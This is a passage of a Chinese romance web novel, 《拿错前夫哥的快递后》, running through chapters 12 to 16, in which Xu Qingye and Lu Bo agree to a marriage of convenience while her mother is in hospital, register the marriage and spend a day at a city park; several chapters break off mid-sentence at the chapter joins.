路薄伸手在路远的肩膀上一拍,毫不掩饰地介绍道。 路远原本意图降低存在感地身影一僵,猝不及防间被路薄出卖了个彻底。 他心虚地朝迟枣枣站着的方向瞥了一眼,索性破罐子破摔地摘下了口罩,礼貌地朝尹虹打招呼。 兄弟有着如出一辙的狗狗眼,不过与路薄那张精致得带些攻击性的脸不同,路远笑起来,颊边还带着两个深深的酒窝,特别惹长辈的喜爱。 路远刚摘下口罩,尹虹就惊讶地试探道: “小远,你是演员吗?” 好巧不巧,尹虹最近在医院闲着无聊,正追着路远那部偶像剧,昨天还拉着许清也心疼路远饰演的深情男二。 多亏了路远那张见人说人话,见鬼说鬼话的嘴,气氛不仅没有陷入尴尬,反而显得热火朝天。 桌上的抽纸不小心被碰倒,许清也蹲下身去捡。 路薄修长的指节先她一步碰到瓷砖上的抽纸。 指尖短暂地相触,一瞬酥疼的电流从指尖炸开,许清也本能地被静电的刺痛弹开了手。 “抱歉。”他拿起抽纸,放回了原处。 许清也后知后觉地想起这抽纸也是路薄拎来的纺布袋里的。 尹女士看起来和路远聊的很开心,迟枣枣也难得放弃了黑粉的觉悟,一切看起来算是一派祥和。没人注意到她的异样。 人在局促的时候总是想要找些事情来做,许清也拆开角落的果篮,打算洗些水果来招待大家。 刚才江闻舟只是去洗个苹果,却迟迟不见回来。 她还有事想要跟他说。 许清也捧着几个苹果悄悄离开了病房,房门关上的咔嚓声微不可察。 路薄的视线追随她的背影消失在透过小块的视窗玻璃上,想到刚才江闻舟离开的方向,垂眸轻皱了眉。 —— 水流声淅淅沥沥停住,许清也正往手上累叠苹果,顶端的苹果忽然被一只大手拿走。 “闻舟哥。” 她顺着苹果抬头,看到江闻舟眼中的笑意,也绽开一个轻松的笑。 “我还以为你悄悄走了呢。” 江闻舟摇了摇头,无奈地问她: “一共才几个人,要洗这么多苹果吗?” 被他看穿了心思,许清也大方地坦白逃避的心思:“多拿一些也能洗久一会儿嘛。” 江闻舟没再问,动作熟练地接过苹果削起皮来。 两年多没见,两人之间的气氛多少有些陌生。许清也沉默地看着他一口气削下长长的一块苹果皮,语气随意道: “我打算带我妈去江城的医院,那边医疗条件比丰城好太多。” “还有,闻舟哥你不用帮我守夜,我自己能应付的。” 江闻舟削了一半的苹果皮应声断了。 他放下水果刀,转过头看着许清也。 “小也,这是我该做的,不是在帮你。” 许清也知道他是在说当年尹虹资助他上学的事情,蹙眉道: “两年前我妈她拿这件事威胁你的时候,你就已经都还清了。” “你不欠她什 12. 吻 《拿错前夫哥的快递后》全本免费阅读 雨滴大颗大颗地敲打在车窗上,车流交错,在交通灯下被模糊成一个个橘虹的光点。 市医院门口的地势很低,雨势不算大,却积蓄了一大片积水,将整座城市颠倒在雨中。 路远翘着二郎腿坐在后座,看了眼车窗外被雨水模糊的医院大门,无聊地打了个哈欠。 “哲哥,几点了?” 被称作哲哥的男人身材瘦小,正坐在驾驶座上一下没一下地敲着车窗,闻言看了眼挎包里的手表,着急道: “这都十一点三十五了。” “阿远你得赶紧回酒店睡觉了,哎呦,又熬一夜,那明天还不得长痘痘啊。” 路远侧了侧身,无处放置的大长腿委屈地缩在座位间,满不在乎地敷衍道: “你安静点我不就能睡了?” 驾驶座上的男人悻悻地放下了敲着玻璃的手。 等的是路家的大少爷,要在这躺着的是路家的二少爷,哪个他也得罪不起,干脆闭嘴不说。 反正就单凭路家的资源,多一颗痘痘也影响不了他们家“陆远”的星途。 说是要睡觉,实际上路远半躺在椅子上辗转半天,越躺越清醒。 越躺越···生他哥的气。 大老远把好不容易休假中的人喊来,就为了让他送一把雨伞和户口本。 亏他还以为路薄是工作上需要用户口本,巴巴地回家帮他偷出来,接着大老远赶来丰城。 结果就是落得这么个下场——连酒店也住不上,还得大半夜在医院门口等他。 还能怎么着,都怪自己太重感情喽? 路远摇着头叹气,刚闭上眼,车窗忽然被叩响。 路远坐直身子,皱着眉靠近。 “开门。” 路薄屈起指节重叩了两声。 “哥你可算回来了。” 看清楚来人,路远松了口气,推开车门玩笑道: “知不知道我熬夜长颗痘痘得有多少少女为之心碎啊。” “哲哥,出发出发!” 他话音刚落,转过头却发现路薄一直站在车门口,并没有要上车的意思。 路薄没理会他的贫嘴,目光在保姆车的后座上搜索一圈,摊开手心朝路远道: “东西给我,你先回酒店睡吧。” 语气听起来意外地好心情,隐隐还能品出些着急。 “什么东西?” 路远警觉地反问,眼神却此地无银三百两地瞟了一眼前座中间的置物盒。 懒得跟这家伙浪费时间,路薄三两下从盒子里找出大红的户口本,转身就要走。 “不行,”路远乞求地伸手去拉他的胳膊,速度不及,扑了个空,“哥,我真的会被爸妈打死的!” 路薄顿住关车门的动作,冷血又贴心地道: “不会的,你又不回家。” 简直用脚趾头想都知道路薄拿户口本这是要去干什么,路远不信邪地挣扎劝道: “哥,你真的会被她骗的。” 伞沿的雨点滴落在皮质的座位上,路薄眉峰锐利,撑着伞站在车门前。 路远在他冰冷的眼神中默默闭上了嘴。 “我乐意。” 车门被啪地一声关上,路薄的声音大半被隔绝在车外,路远瞪大眼睛转头问在驾驶座装鹌鹑的阿哲哥: “我没听错吧?我哥他疯了?” 车窗外的男人转身后,一点留恋也没有地大步进了医院。 路远无奈地瘫坐回座位,久久没法消化这个消息。 他简直不敢想,等自家蒋影后知道了,他还得挨几顿打。 “叩叩——” 车窗又被敲响,以为是路薄忽然改变了主意,路远激动地一秒推开车门,长舒一口气道: “我就说哥你肯定会回心转意的。” “回心转意什么?” 迟枣枣撑着小花伞站在车门口,带着诱哄的语气好奇地问。 雨丝被风吹的倾斜,她的伞看起来伞骨很轻,伞布被寒风压的微微变形,米白色的长裙也湿了裙沿。 “没什么。” 路远的视线沿着她冻的通红的指尖,泄气地敷衍。 虽然迟枣枣今天表现得纯良无害,但路远还是忘不了她那些个污染精神的黑粉剪辑,抓起座位边的口罩防备地回答道: “跟你没关系,你不用知道。” “切—” 池枣枣满不在乎地翻了个白眼。 “该我知道的我早晚要知道,不该我知道的老娘还不想知道呢。” 想起她敲车窗的目的,又拦住车门,不自在地开口道: “那什么,雨太大了,送我一程呗。” 路远有点不相信自己的耳朵,也不理解这女人的脑回路。 “我多大胆子,雨天送黑粉一程?” 谁知道她上车后能编出什么离奇而莫须有的黑料来。 车门久久不关,斜飘的雨丝打湿车门边的垫子,路远皱着眉要去关车门。 “是你哥让你送我的。” 池枣枣趁他探身的功夫狠狠推了他一把,路远一个不防被退回了原位,一秒钟的功夫,她就收了伞迅速坐上了后座。 “你哥占了我的位置,你要是不送我,我现在就回去抢回来。” 她把伞往脚下一丢,抱臂靠在座椅上,一副“我话摆这,你随意”的豪迈。 作为路远的经纪人,哲哥当然也认识迟枣枣,从她出现在车门起就保持着十二分的警惕。一番变故来的突然,从后视镜看不清路远的表情,他转头试探地问: “阿远,我们要不要报···”警。 “开车。” 话还没说完,就被路远冷冰冰的两个字打断。 “去哪?”哲哥的眼神投过后视镜飘向后座的迟枣枣。 “你们去哪我就去哪。” 池枣枣歪头故意甜甜一笑,附赠气死人不偿命的夹子音。 “相信陆大明星住的肯定是很nice的酒店,反正你哥说他报销喽。” 急诊病房门口—— 即将支付一笔“巨额”房费的路薄跟许清也并排坐在病房外的长椅上。 冲动之后冷静下来,许清也有些后悔刚才被路薄一激,话赶话的就答应了结婚。 好不容易想到他出差应该不会带着户口本的事。她假装善解人意地表达谅解,没成想不仅没能拖延领证的日子,反而在五分钟后见到了路薄手上那本大红色的小本子。 走廊上人来人往,喧杂的声音冲淡了空气中尴尬,许清也鼓起勇气要开口,却被路薄半路抢了个先。 “你打算什么时候跟阿姨正式说?” “说什么?”许清也轮流捏着指尖装傻。 “不需要跟阿姨说一声吗?” 路薄有些意外地挑眉,接着补充道: “我们结婚的事。” 他一口一个结婚,完全没有一点尴尬或是羞涩的样子。虽然两人也算是认识两年了,可过去一个礼拜里说的话几乎是过去的全部了。 许清也转头看他,路薄低着头查询民政局上班的时间,大红色的户口本垫在手机下面,只露出来一圈边缘。 却很醒目。 “要说的。”她点头回应,直接了当地问道:“那你呢,你为什么会同意结婚?” 他表现得太积极,回忆起他前后不一的态度,许清也的目光落在路薄顿在网页搜索框的指尖,干脆撕开体面的外衣,赤裸裸地剖白道: “你也看到了,我妈的病比你想象的,也许还要更严重。我没有时间等了,但你看起来并没有这样急迫的需要。” 她直直对上他那双浅褐的眸,不想错过他眼神中任何微小的情绪。 他手中的屏幕暗了下去,沉默片刻,平静道: “谁说我没有急迫的需要?” “我也需要一个门当户对的妻子。”路薄偏开视线,佐证似的补充道,“你是最合适的对象,否则两年前两家也不会选我们联姻。” 他的回答意料中的简单明了,再正常不过的原因,足够让许清也放下疑心,心间莫名的空了一瞬。 至于这一瞬间的异样,可能是一种原来如此的怅然吧? 她点头表示了解,顺着路薄刚才的问题礼貌地回问: “你的家人,也需要告诉他 13. 结婚证 《拿错前夫哥的快递后》全本免费阅读 许清也失眠了。 躺在窄小的陪护床上,她面对着灰白的墙壁,睁开眼看着那半块脱落了的墙皮,忍住转身的冲动,继续闭上眼酝酿睡意。 一闭上眼,路薄跟尹女士承诺的那句话就莫名地环绕在脑中。 看不出来,路薄还挺会撒谎的。 说出那句话的时候,不仅眼神真诚,就连恳切中略带紧张的嗓音都把握得刚刚好。别说是尹女士了,就连她在一边听得都差点要信以为真了。 病房外有人经过,走廊上透过视窗玻璃照进的光一晃,许清也似乎听见衣料摩擦的梭梭声,接着是男人的极轻的脚步声。 陪护床只有一张,路薄坚持要留下来陪她,结果就是只能靠在床边趴着睡。 听到他起身的声音,许清也心虚地闭上眼。 黑夜里听觉总是格外敏锐,她甚至感觉自己能靠脚步声判断他拎着塑料凳靠到了床对面的电视墙边。 声音安静下来,她又忍不住好奇,路薄本来趴在她床边睡,怎么又半夜挪远了。 心中默数着数,打算数到五十再偷偷看一眼。 一整天奔波的疲惫悄悄在数字的缝隙中漫延,没等到偷偷睁眼的数字,许清也就枕着胳膊沉沉睡去。 昏暗中,靠在电视墙边的假寐的男人偷偷睁开眼。 陪护床上的女孩呼吸清浅,裹着被子睡得香甜。不知道梦到了什么,忽然拉这被子转身。 路薄立刻闭上眼,不自觉地挺直了腰背。 借着长睫的遮掩,他悄悄睁开一条缝的弧度。 窗外的月光柔柔地洒在病房内,女孩白皙的脸颊在月光下更显得泛着柔和莹润的光,长而卷翘的睫毛如同小扇映下一小片阴影。 路薄卸下挺直腰背的力气,抱着大衣闭上眼。 只有偷偷光临的月光知道他唇角愉悦温柔的弧度。 —— 也许是昨晚的陪护床窄得她不敢翻身,一大早起来许清也就觉得肩膀有些酸。 再过一天她就得跟尹女士赶去江城的医院了。昨晚非常仓促地,她就跟路薄定好了今天领证。 只是她没想到,路薄居然比她设置的脑中起的还要早。 “民政局八点半开门,九点赶到应该能在上午排到我们。” 许清也模糊中记得听到路薄蹲在她窗前喊她起床,只不过她当时以为是梦,又接着沉沉睡了过去。 八点整,她的手机准时再次响起闹铃。 不情不愿地闷在被子里两分钟,许清也才掀开被子,目光就在床头的茶叶蛋和小笼包上顿住了。 后知后觉地想起来路薄昨晚也在。 她徒劳地把手当成梳子梳理了几下纠缠在一块的长发。 “起来了就赶紧吃吧,人家小薄都不知道是几点起来的,跑到吴山岗那边的老字号去买的包子。” 尹女士对许清也刚起床磨磨蹭蹭的样子见怪不怪了,只不过今天日子特殊,还是忍不住催促。 “那是有心又勤快。”末了又感叹地夸了路薄一句。 “阿姨过奖了,都是我应该做的。” 路薄不知道什么时候换了一身偏休闲款的正装,纯白色的衬衫严丝合缝地扣到顶端,遮住喉结往下好看的锁骨。 谦虚的样子还挺像回事,完全没有在江城时候冷漠又没礼貌的影子。 “他能认识吴山岗那家店?巧合而已吧。” 许清也心中不屑,瞥了坐在一边的路薄一眼,起身去洗手间洗漱。 尹女士夸奖路薄的样子居然让她久违地感受到一点幼稚的吃醋感,这种感觉大概约等于上幼稚园的时候,她最喜欢的老师有一天忽然把小红花给了别人。 含着满口牙膏泡泡,整个刷牙的几分钟里,许清也都没想明白仅仅一晚上的功夫,尹女士对路薄的态度怎么能转变那么多。 昨天许清也出门的时候,尹女士还提过一句想吃吴山岗那家老字号的芝麻糖包。 她本来打算今早去买的,结果被路薄给抢了个先。 水流沿着池壁冲走泡泡,她忽然想起来她七点半短暂响过的闹铃名就是“去买吴山岗的芝麻糖包”。 清清爽爽地洗了脸,镜中的女孩皮肤白皙清透,浓眉翘鼻,一双精致鹿眼灵动可爱,嘴唇自然红润。也许是被热水蒸得,两颊的皮肤都透着淡淡的蜜桃粉。 美中不足就是眼下两圈淡淡的乌青。 “小也,可不早了,别在洗手间里再磨蹭喽。” 门外传来尹女士的催促。 想到刚才随意的一瞥,对比路薄那张状态好到随时可以拍海报的脸,她犹豫了两秒,还是掏出袋子里的气垫仔细遮了遮黑眼圈。 “就出来啦!” 探着脑袋朝外面回答的时候,熟悉的对话让许清也有一瞬间想起了上高中的时候。 心情几分轻松,一推开门,她就看见了尹女士嘱咐路薄多吃点的画面。 听说路薄是研究地理学的,上学的时候成绩肯定也不差。 她恶趣味地想,要是那时候她们两家就熟识,路薄肯定是那种讨人厌的别人家的模范学生。 “小也,你不是昨天还说也想吃这家的芝麻糖包吗?赶紧来吃了。” 尹虹一回头看见她还在门口,再次催促道: “吃完了还要换衣服呢。” “换什么衣服?” 许清也疑惑的问句还没出口,就看到了床头柜边并排堆着的两个大纸袋。 糖包被路薄递到她手中。路薄见她的目光定在纸袋上,解释道: “拍照需要白色的衬衫,我想你应该没来得及带,就一起买了一件。” 看她迟疑的神色,路薄还接着补充: “衬衫都是均码的,不用担心尺寸。” 袋子上的品牌标志许清也认识,是一家挺有名的女装奢侈品牌,两年前她跟路薄订婚的时候,尹虹就拉着她去狠狠扫荡了一次。 当然,那次刷的是她爸许总的卡。 这家衣服一向很合她的身材,她担心的不是尺寸,而是价格。 按照这个牌子均价,许清也恐怕得分期半年多才能还的清这两个袋子里的衣服的总价。 有点气他一声不吭地行为,许清也飞快地吃完了早餐换好了衣服,公事公办地抓起包跟尹虹挥手离开。 一眼也没留给跟在她身后离开的路薄。 天气久违地放晴,下起了细细的太阳雨。许清也还不得不躲在他的伞下,踮着脚尖避开地上坑坑洼洼的水坑。 等到两人顺利从民政局拿着两本小红本出来的时候,雨已经完全停了。 昨晚整夜的暴雨在地上留下星星点点的水坑,现在依旧没有被灿烂的阳光蒸发干净,在金色的阳光下泛着点点银光。像是渺小的星球上许多迷你的湖泊。 许清也摊开结婚证对着阳光欣赏那张合照。 照片里的男女笑得灿烂,许清也扎着丸子头,耳际散落的几缕碎发俏皮地装点着笑容。白衬衫看起来很合乎身量,显得两 14. 快门 《拿错前夫哥的快递后》全本免费阅读 牵着彩色气球的人偶从长椅前走过,微凉的空气中起伏着孩子们的欢呼声和尖叫声。 许清也坐在有些掉漆的长椅上,低头回复完最后一条工作消息,结束了线上的选题讨论。 熄灭手机屏幕,她抬头看向草地另一头的美食站点。 在一排色彩斑斓的美食车中间搜索半天,多亏了路薄优秀的身高,许清也的目光才很快锁定到他的身上。 男人一身正装挤在彩色的卡通广告牌中间,手上提着两个冒着热气的小袋子,正接过老板热情递过来的烤热狗。 被包围在一群孩子和家长中间,他蹙着眉站在原地,小摊上蒸腾的热气氤氲在他身侧,模糊了他眼神中难以察觉的不知所措。 对上许清也看热闹的眼神,路薄朝着长椅的方向摇了摇手中的小袋子,三两步从人群中侧着身子“逃脱”。 “怎么样?有美食、有游乐设施,是不是很不错?我记得我念小学的时候还来过一次这里。” 许清也收起手机,拍了拍身侧冰凉的座位,语气中露出丝丝小骄傲。 “没想到这里还真的没怎么变呢。” 她怀念地望了一眼一边随着音乐旋转起伏的木马。 年代久远,木马身上多巴胺配色的彩漆已经有些泛黄,在阳光下像是套上了一层怀旧的滤镜,让人很容易怀念起记忆中无忧无虑的时光。 “是挺不错的。” 他修长白皙的手指勾着小袋子递到许清也面前。时间不长,袋子上却已经浮起一层细小的水雾。 许清也一打开袋子,松软的烘焙香混杂着红豆细腻的甜香扑鼻而来。小个子的车轮饼挤在绿色的油纸袋里,瞬间勾起她的食欲。 原本是抱着捉弄的想法,他提出去游乐场的建议后,许清也第一时间就想到了丰城这个青少年公园。 没想到抱着手机一搜,竟然还真的依然在营业。 老城区的青少年公园虽然设施陈旧,但很明显依旧是小朋友们的心头宠。即便是周五,也遍布着趣味游戏的小摊和流动的美食车。完美契合许清也理想的打发时间场所。 真正的游乐园气氛太暧昧,这里显然跟他想的那种游乐园也有所不同。 没想到他回答的语气真诚,许清也瞬间觉得那点捉弄的小心思变得索然无味。低头品尝起路先生排队十多分钟买来的珍贵车轮饼。 余光瞥见面前的男人从口袋里掏出一张手帕,像上个世纪留洋归来的绅士一样优雅地展开米白色的手帕,配合上他骨节分明的手指,画面简直赏心悦目。 只可惜这位“绅士”的下一步动作却是将手帕垫在长椅上恶狠狠地擦拭几个来回,才在她身侧坐下。 “咔嚓—” 许清也循着快门声错愕地回头,正好抓住路薄举着手机笨拙地抓拍的样子。 一股热气瞬间从脸颊蒸腾而上,她扭回头,几乎把半张脸埋在沾着水汽的塑料袋里,闷闷地问: “你拍我干嘛?” 想起刚才两颊没来得及咽下食物的样子,许清也严肃了神色抬起头,伸出手摊开手心。 “手机拿来,我有权维护我的肖像权。” “只是觉得手机里应该有一些你的照片。” 路薄意外地顺从,老老实实地把手机放在她手心,动作自然地滑动指纹解锁,一边解释道: “恋爱一年,手机里一张女朋友的照片都没有,阿姨要是看我们的手机相册,可能就没那么容易相信了吧?” 说到最后几个字,他看着许清也小巧红润的唇,忽然想起女孩柔软温热的吻,弱了声线。 他的手机屏幕很大,放在许清也平摊开的掌心,漆黑的机身几乎完全盖住女孩微红的掌心,只露出她白皙精致的指尖。 拇指识别指纹的两秒钟里,他的指尖不经意触碰到她柔软的指节。 许清也下意识屈起指节躲避这忽如其来的痒意。 手机原本就是图库的界面。她捧着松软焦香的车轮饼,长而卷翘的睫毛铺在饱满可爱的卧蚕上方,微微鼓起的脸颊非但没有她想象中的丑态,反而显得照片里的女孩生动可爱。 意外地,是一张很有生命力的相片。 “有些照片是很有必要的,” 他伸出食指点住相片中她头顶不听话弹起的一两根发丝,阻挡住许清也左滑的手势,补充道: “比如这种,路远说学名叫做,‘男友视角’。” 如果不是抬头看见了他眼神中十二分学术态度的认真,许清也几乎要以为他这是在故意“撩”她。 什么“男友视角”,也不知道路远平常都胡乱跟他哥聊的什么。 不过他的话也有些道理,虽然都是细节,但照片是必要的,合照也一样。 许清也轻声“嗯”了一句表示了解。 “那就再补两张合照吧?” 许清也侧眸询问地看向身侧的男人,想要滑动回拍摄界面补充两张合照,不知道误触了什么地方,页面忽然跳转到一个上锁的相册界面。 还未输入密码的界面展示的首图模糊不清。 她没反应过来,只来得及看到一抹浩瀚的蓝,手机就瞬间被路薄抢回拍摄的主动权,准确切换到了自拍页面。 他的态度虽然不像上次她抓着叶脉书签时那么大惊小怪,仔细观察却不难从他微微颤抖的指尖看出他的紧张在意。 直觉告诉她,这两样东西中或许藏着什么她不知道的联系,一种路薄十分在意珍视的联系。 “要按快门了。” 他单手举远手机,透过镜头询问地看向有些出神的许清也。 许清也闻声回神,往镜头里靠了靠,后肩意外靠上他温热坚硬的肩。 咔嚓—— 镜头里的女孩像是靠在男生怀中,阳光逆着镜头映出一串彩色棱镜般的光斑。身后的大树枝叶零落,巨大的彩色摩天轮透过稀疏的叶片露出大致的框架来。 摩天轮的中心设计成了太阳般的样式,轮状的棱形框架上涂着橙黄色的彩漆,中间点缀着穿白色的亮光,像是太阳发出的光束。 一个个圆形的小轿仓慢悠悠地轮转着,距离有些远,在镜头中的大小还不及许清也手中只剩下一半的车轮饼大。 被身后童趣可爱的摩天轮吸引了一瞬视线,她专注的目光落入路薄眼中。 “要去排队吗?” 三两张照片拍完,路薄指着镜头中的摩天轮,挑眉询问。 不得不承认,顺着他的指尖看见那间红色格纹的轿仓的时候,许清也短暂地心动了一 15. 冷焰火 《拿错前夫哥的快递后》全本免费阅读 从摩天轮的最高点慢慢落下的时候,夕阳橙红的光晕也渐渐暗了下来。 冬天的日落很早,许清也一直望着窗外的落日出神。 手腕好像还残留着他手心滚烫的温度,许清也看着玻璃窗上反映出的人影。 男人的剪影利落完美,就像她第一次看见路薄的时候脑中所冒出的定义。 他像一簇银白的冷焰火。 看上去冰冷又难以接近,实际上却是最难灼伤人的一种焰火。冷硬又柔软。 路薄刚才低头得太晚,撑着墨绿色雨伞的男人已经走到马路另一端的树荫下。 他挑眉询问,许清也却摇了摇头道: “没什么。” 玻璃的反光微弱,明暗间勾勒出男人的轮廓,却看不清表情。许清也闭眼挥去刚才瞥见他眉目温柔的笑意。 虽然不知道他是在回谁的消息,但她敏锐地察觉到路薄刚才整个人的气场都柔软了下来。 摩天轮的轿仓渐渐回落到地面,积木布景般的城市逐渐变回现实熟悉的模样。 许清也先一步踩上地,回落到真切的现实感中。 青少年公园一日游的最后一站是游戏小摊边的小物钓。 许清也跟路薄一前一后穿过嘈杂拥挤的游戏摊,同时在那张巨大的鹅黄色卡纸面前停住了脚步。 卡纸上用黑色的马克笔勾勒出几条可爱活泼的金鱼,大红色的数字醒目地标在顶端: 10元/15min。 两人同时在充气池面前停下脚步,盯着透明充气池里游动的大红色金鱼。 水池底端贴着雪白的灯条,led灯光映照下的水波泛着透亮的蓝,火红的小金鱼摇着漂亮的鱼尾穿梭在不规则的水波中。水底零星飘着草绿色的造景水草。 俊男美女,外加俩人一身价值不菲的名牌,坐着马扎受在摊边的老板立刻抓住机会,大声招呼道: “开业优惠,十元十五分钟!” “帅哥,你就请美女玩一会儿呗。我们家的金鱼漂亮又健康,带回家妥妥得养到寿终正寝。” 许清也被老板幽默的用词逗笑了,她不需要路薄请,但的确有点心动。 坐在她面前的小男孩拎着吊杆激动地站起来,扑腾的鱼尾溅起几滴池水。 坐在他身边的男人拿着塑料小盆接住他鱼钩上钓起的鱼儿,无奈地让男孩先坐下来。 “爸爸,我钓到小鱼了!” 意识到自己叫喊得太大声,男孩压低声音兴奋地分享。紧接着捂住嘴歉意地看了一圈,看到站在他身后的“漂亮姐姐”,不好意思地红了脸。 也是一项小朋友的活动。 不过今天连摩天轮都已经坐过了,小物钓比起来简直是大巫见小巫了。 许清也利索地掏出手机扫了挂在水池边的付款码,转过身抬头道: “我请你,走不走?” 路薄淡定地点了点头,架势颇为专业地接过鱼竿挂饵料。 颇有一副深藏不露的样子。 半小时后—— 许清也拎着透明的小袋子,站在路薄左后方百无聊赖地等待。 几条火红的小金鱼在半袋水中游动,两条小家伙不经意间尾巴打了个架,显得袋子里的空间有些拥挤。 而路薄身边套着塑料袋的小盆里一片风平浪静,只有半盆子透亮干净的水。 手机再一次震动起来,标志着第二十块份内的时间过去。 “续费我可不交了哦。” 许清也搬过明黄色的马扎在他身边坐下来,叹了口气道: “我有理由怀疑你这是在变相要回下午的车轮饼钱。” 路薄仍然神色严肃地看着充气池里游动的鱼。一条吐着泡泡的金鱼慢慢靠近了鱼钩,他一板一眼地点了点头算做回答许清也的话,就连眼神转动的幅度都为零。 他侧着头盯着充气池,无处安放的长腿委屈地交叠在池边。 男人身材本就高大,坐在小马扎上缩在池边,此刻还严阵以待地拎着柠檬黄的迷你鱼竿。像是误入小人国的冒险者。 金鱼游动着靠近饵料,咬钩的一瞬间,路薄猛地一抬鱼竿。 空荡荡的鱼钩在空中打着转,鱼儿滑落回池中,溅起不高的水花。 “走吧。” 他放下鱼竿,利落地起身,态度意外地显得十分潇洒。 “等一下。” 终于结束了比想象中更漫长的小物钓环节。许清也没抬头看他,直接绕过他跟老板小声交谈了几句,放下手中那儿小袋金鱼走到他面前。 “走吧。” 她看了看手机屏保,时间不早了,即便有迟枣枣帮她看着,还是忍不住有点担心尹女士。 路薄往她身后看了一眼,沉默了片刻,步子格外慢地问: “你的金鱼呢?” “换掉了。” 发觉他没跟上自己的步子,许清也转头回答,补充道: “我可不觉得我能养得活它。” 路薄往前迈了一步跟她并肩,视线飘向她指尖多出来的粉色钥匙扣。 粉色短绒布料做成的金鱼玩偶只有她半个掌心大小,因为奇怪的颜色,一眼就显出几分廉价滞销品的味道。钥匙环扣在女孩的无名指上,像是一枚素色的戒指。 “我有这个就够了。” 许清也抬起掌心,像抛出一枚溜溜球一样给他展示作为战利品的钥匙扣。 明亮的路灯把两人的影子拉的长长的,时而交叠一角,时而并排而行。 十几分钟的路程,就步行回到了市医院的大门口。 刚走进急诊科病房长长的走廊,迎面就碰上了尹女士的主治医生。 吴医生是个好脾气的中年男人,虽然行色匆匆,但路过许清也的时候还笑吟吟地道: “明天早点接你妈妈出院吧。” 许清也听得一头雾水,转念想到她提过明天要带尹女士转到江城医院去,也就礼貌地点了点头应了声好。 站在病房门口顿了两秒,她才推开了房门。 其实今天是尹女士的病理报告出结果的日子,她发誓高考查成绩的时候也没有此刻手心的冷汗更多。 “妈,今天怎么样,有没有感觉哪里不舒服?” 许清也坐到床边,随意地把包放在床头的柜子上。听到尹女士唠叨完一整天的琐事,才鼓起勇气,尽量自然地开口: “那,病······” 刚出口一个字,她就泄光了勇气。 在摩天轮顶端的时候已经许过了愿,不过可能这种赌运气的事情还是不适合她。许清也觉得自己的心脏紧张到简直要从喉咙里跳出来了。 尹女士显然已经从音节中猜出了她想问 16. 石头的往事 《拿错前夫哥的快递后》全本免费阅读 距离下班还有整三分钟的时候,许清也正盯着桌上的仙人掌发呆。 巴掌大的盆栽放在靠窗的桌角,是整张布置简洁的桌上唯一鲜亮的色彩。浅蓝色的小花盆里结着土块,根部附近的土壤干燥地结成小块。 上一次浇水还是在休假前,看着干燥的土壤,许清也忽然也觉得有些口渴。 随手捧起瓷杯,低头时却发现杯中的水已经见底。 通往茶水间的必经之路上架着相机,许清也抿了抿唇,还是放下了水杯。 新媒体部新来了个年轻男孩,说是要拍一些部门同事日常工作的vlog放在官方账号上宣传。 邻座的孙霏霏的微博小号是个小有名气的画手,对出镜的事情显得积极而适应良好。第一期主要跟拍她,所以走道上一整天都架着相机。许清也不想出镜,除了午休时间,已经在工位上窝了一整天了。 还有三分钟,专题栏目的选题讨论暂时告一段落,许清也关掉了电脑,随手打开手机摸鱼。 她的微博也会随手发一些简单的条漫,不过更新的频率太随性,只有零星几个粉丝。 比如今天,简单填完了那天回程路上画的条漫,也没配上什么文案,她随意拍了一张工位上的仙人掌,一并发到了微博上。 收拾包的时候,尹女士给她发了一条信息,告诉她今晚做了水煮鱼,让许清也早点回家。 尹虹坚持不愿意住院,医生也说暂时不需要留院观察,许清也劝不动,只好答应每天打完点滴让尹女士回家睡。 好多年没有吃到尹女士做的水煮鱼,许清也光是想想那种缭绕勾人的香味就忍不住食指大动。 犹豫地看了一眼盆栽干涩的土壤,她果断地背上包离开了工位。 走出地铁站的时候天已经暗下来了,路灯沿着长长的人行道依次亮起,像是一串浮动的萤火虫。 许清也脚尖的方向一转,打算从小区的东门绕回家。 小区的宠物店logo是一个巨大的棕色猫爪,配上暖橘色灯光,显得童趣又可爱。 左侧巨大的玻璃窗里摆着一整套猫爬架,芝士蹲在最高层的爬架上居高临下地看着低层打闹成一团的小奶猫们,显得高冷而慵懒。 就跟它的主人一样。 许清也在落地窗外停下脚步,芝士几乎是第一时间发现了她,从高层的爬架一跃而下,看得许清也心惊胆战地。 芝士踩着模特步走到与她视线齐平的地方,舔了舔爪子,浅蓝色的圆眼懵懂乖巧地看向她。 好吧,就连表里不一这一点也随了路薄。 宠物店的店员小姐姐正在给一只巨大的纯白色贵兵犬洗澡,发现许清也停在门口,热情而熟络地招呼道: “许小姐,进来看芝士吧。” 许清也刚想摆手拒绝,转头就看见芝士宝蓝色宝石般的圆眼睛一刻不离地盯着她。它脖子上那条浅蓝色格纹的小围巾是许清也昨天下班时候买的,芝士围着迷你的围巾,低着小脑袋盯着热闹玩闹的小猫们。 胖乎乎的包子脸像是受了委屈的小孩,让许清也说不出拒绝的话。 “不用麻烦,我坐两分钟就走了。” 她抱着芝士在店里的小沙发上坐下,尽管她这么说,店员小姐姐还是迅速给她倒了一杯热茶。 许清也坐在沙发上打量这家布置温馨的宠物店,觉得路薄这人简直深谙兵法。他分明就有这家店的会员卡,店员一眼就能认出芝士,哪需要她照顾? 他从一开始打算就只是让她帮忙送芝士来这家宠物店而已,一招以进为退,让她爽快地就答应了。 “许小姐,路先生这次要出差多久啊?” 店员小姐姐从架子上抽出干毛巾,动作轻柔地擦干贵宾犬一身湿淋淋的雪白毛发,脸颊有些微红。 许清也拿杯子的动作顿了顿,这个她的确忘了问。 “我也不知道,回头我问问他。” “许小姐,方不方便问一下,”店员踌躇了几秒,也许是许清也的回答让她鼓起了一点勇气,抿着唇问: “你跟路先生是什么关系啊?” 许清也刚刚点开微信聊天框,她和路薄的聊天还停留在前天她发的照片上。 一张芝士蹲在宠物店猫爬架上的照片,被她完成任务般地甩给他,路薄简短地回了句好,之后就再也没有消息。 “我们住上下楼。”许清也瞥见店员小姐姐偷偷松了口气的小动作,锁上了手机屏幕。 店员看上去是兼职的大学生,女孩年轻晶亮的眸中泛着简单的欢喜,红扑扑的脸颊显得真诚而可爱。她不禁再一次感叹路薄那副过分受欢迎的皮囊,攻略范围竟然已经辐射到这个范围。 尹女士和热乎乎的香辣水煮鱼还在家里等她,许清也没有多坐,就起身离开了。 芝士扭着脑袋,留给她一个气闷的背影。 她好笑地摸了摸芝士的脑袋,转身奔向了美食。 出店门的时候,许清也随手问了句他什么时候回来。 害怕句子里的意思显得暧昧,还加了一张芝士坐等的表情包,让他给个具体接回芝士的时间。 尹女士做的水煮鱼果然一如既往地美味。餐桌上空冰冷的空气中缭绕着电磁炉的热气,一口鲜嫩的鱼肉下去,夹杂着豆芽麻辣爽脆的口感在味蕾绽开,一整天纷乱的想法都瞬间被抛到了脑后。 